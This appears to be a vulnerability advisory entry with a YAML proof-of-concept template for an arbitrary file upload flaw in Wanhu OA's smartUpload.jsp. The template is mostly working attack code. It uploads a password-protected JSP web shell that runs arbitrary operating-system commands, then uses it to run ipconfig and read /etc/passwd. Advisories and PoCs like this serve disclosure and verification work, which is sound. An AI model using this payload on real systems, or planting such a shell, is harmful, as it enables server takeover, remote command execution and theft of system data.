wanhu-oa-smartupload-upload-file: 万户OA smartUpload.jsp 任意文件上传漏洞(需自行上传验证)

日期: 2025-09-01 | 影响软件: 万户OA smartUpload.jsp | POC: 已公开

漏洞描述

万户OA smartUpload.jsp文件存在文件上传接口,且没有对文件类型进行过滤,导致任意文件上传漏洞 app="万户网络-ezOFFICE"

PoC代码[已公开]

id: wanhu-oa-smartupload-upload-file

info:
  name: 万户OA smartUpload.jsp 任意文件上传漏洞(需自行上传验证)
  author: zan8in
  severity: critical
  verified: true
  description: |
    万户OA smartUpload.jsp文件存在文件上传接口,且没有对文件类型进行过滤,导致任意文件上传漏洞
    app="万户网络-ezOFFICE"
  reference:
    - http://wiki.peiqi.tech/wiki/oa/%E4%B8%87%E6%88%B7OA/%E4%B8%87%E6%88%B7OA%20smartUpload.jsp%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.html

set:
  rboundary: randomLowercase(8)
rules:
  r0:
    request:
      method: POST
      path: /defaultroot/extension/smartUpload.jsp?path=information&mode=add&fileName=infoPicName&saveName=infoPicSaveName&tableName=infoPicTable&fileMaxSize=0&fileMaxNum=0&fileType=gif,jpg,bmp,jsp,png&fileMinWidth=0&fileMinHeight=0&fileMaxWidth=0&fileMaxHeight=0
      headers:
        Content-Type: multipart/form-data; boundary=WebKitFormBoundary{{rboundary}}
      body: "\
            ------WebKitFormBoundary{{rboundary}}\r\n\
            Content-Disposition: form-data; name=\"photo\"; filename=\"shell.jsp\"\r\n\
            Content-Type: application/octet-stream\r\n\
            \r\n\
            <% if(\"023\".equals(request.getParameter(\"pwd\"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"i\")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(\"<pre>\"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print(\"</pre>\"); } %>\r\n\
            ------WebKitFormBoundary{{rboundary}}\r\n\
            Content-Disposition: form-data; name=\"continueUpload\"\r\n\
            \r\n\
            1\r\n\
            ------WebKitFormBoundary{{rboundary}}\r\n\
            Content-Disposition: form-data; name=\"submit\"\r\n\
            \r\n\
            上传继续\r\n\
            ------WebKitFormBoundary{{rboundary}}--\r\n\
          "
    expression: response.status == 200 && response.body.bcontains(b'infoPicSaveName.value+=";"+"')
    output:
      search: '".*infoPicSaveName\\.value\\+=\";\"\\+\"(?P<path>.+?)\\.jsp\".*".bsubmatch(response.body)'
      path: search["path"]
    stop_if_mismatch: true
  r1:
    request:
      method: GET
      path: /defaultroot/upload/information/{{path}}.jsp?pwd=023&i=ipconfig
    expression: response.status == 200 && response.body.bcontains(b'IP Address') && response.body.bcontains(b'Subnet Mask') && response.body.bcontains(b'Default Gateway') && response.body.bcontains(b'Ethernet adapter') && response.body.bcontains(b'Windows IP Configuration')
    stop_if_match: true
  r2:
    request:
      method: GET
      path: /defaultroot/upload/information/{{path}}.jsp?pwd=023&i=cat+/etc/passwd
    expression: response.status == 200  && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: (r0() && r1()) || (r0() && r2())

相关漏洞推荐